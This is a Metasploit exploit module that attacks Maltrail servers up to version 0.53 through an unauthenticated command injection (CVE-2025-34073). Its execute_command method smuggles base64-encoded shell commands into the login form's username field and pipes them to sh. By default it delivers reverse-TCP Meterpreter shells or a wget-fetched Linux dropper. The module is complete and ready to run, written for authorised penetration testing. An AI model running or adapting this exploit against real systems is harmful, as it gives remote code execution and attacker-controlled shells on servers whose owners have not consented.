1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::CmdStager
11
  prepend Msf::Exploit::Remote::AutoCheck
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Maltrail Unauthenticated Command Injection',
18
        'Description' => %q{
19
          Maltrail is a malicious traffic detection system, utilizing publicly
20
          available blacklists containing malicious and/or generally suspicious trails.
21
          The Maltrail versions <= 0.54 is suffering from a command injection vulnerability.
22
          The `subprocess.check_output` function in `mailtrail/core/httpd.py` contains
23
          a command injection vulnerability in the `params.get("username")` parameter.
24
          An attacker can exploit this vulnerability by injecting arbitrary OS commands
25
          into the username parameter. The injected commands will be executed with the
26
          privileges of the running process. This vulnerability can be exploited remotely
27
          without authentication.
28

29
          Successfully tested against Maltrail versions 0.52 and 0.53.
30
        },
31
        'License' => MSF_LICENSE,
32
        'Author' => [
33
          'Ege BALCI <egebalci[at]pm.me>', # msf module
34
          'Valentin Lobstein',             # Add CVE reference + rewrite
35
          'Chris Wild',                    # original PoC, analysis
36
        ],
37
        'References' => [
38
          ['CVE', '2025-34073'],
39
          ['EDB', '51676'],
40
          ['CVE', '2025-34073'],
41
          ['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
42
          ['URL', 'https://github.com/stamparm/maltrail/issues/19146']
43
        ],
44
        'Platform' => %w[unix linux],
45
        'Privileged' => false,
46
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
47
        'Targets' => [
48
          [
49
            'Unix Command',
50
            {
51
              'Platform' => 'unix',
52
              'Arch' => ARCH_CMD,
53
              'Type' => :unix_cmd,
54
              'DefaultOptions' => {
55
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
56
              }
57
            }
58
          ],
59
          [
60
            'Linux Dropper',
61
            {
62
              'Platform' => 'linux',
63
              'Arch' => [ARCH_X86, ARCH_X64],
64
              'Type' => :linux_dropper,
65
              'CmdStagerFlavor' => :wget,
66
              'DefaultOptions' => {
67
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
68
              }
69
            }
70
          ]
71
        ],
72
        'DisclosureDate' => '2023-07-31',
73
        'DefaultTarget' => 0,
74
        'Notes' => {
75
          'Stability' => [CRASH_SAFE],
76
          'Reliability' => [REPEATABLE_SESSION],
77
          'SideEffects' => []
78
        }
79
      )
80
    )
81
    register_options(
82
      [
83
        Opt::RPORT(8338),
84
        OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
85
      ]
86
    )
87
  end
88

89
  def check
90
    res = send_request_cgi(
91
      'uri' => normalize_uri(target_uri.path),
92
      'method' => 'GET'
93
    )
94
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
95
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
96

97
    version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}
98

99
    if version < Rex::Version.new('0.54')
100
      return CheckCode::Appears("Version Detected: #{version}")
101
    end
102

103
    CheckCode::Safe("Version Detected: #{version}")
104
  end
105

106
  def execute_command(cmd, _opts = {})
107
    send_request_cgi(
108
      'uri' => normalize_uri(target_uri.path, 'login'),
109
      'method' => 'POST',
110
      'uri_encode_mode' => 'none',
111
      'headers' => {
112
        'ctype' => 'application/x-www-form-urlencoded'
113
      },
114
      'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`"
115
    )
116
  end
117

118
  def exploit
119
    case target['Type']
120
    when :unix_cmd
121
      print_status("Executing #{target.name}...")
122
      execute_command(payload.encoded)
123
    when :linux_dropper
124
      print_status("Executing #{target.name}...")
125
      execute_cmdstager
126
    end
127
  end
128
end
129

130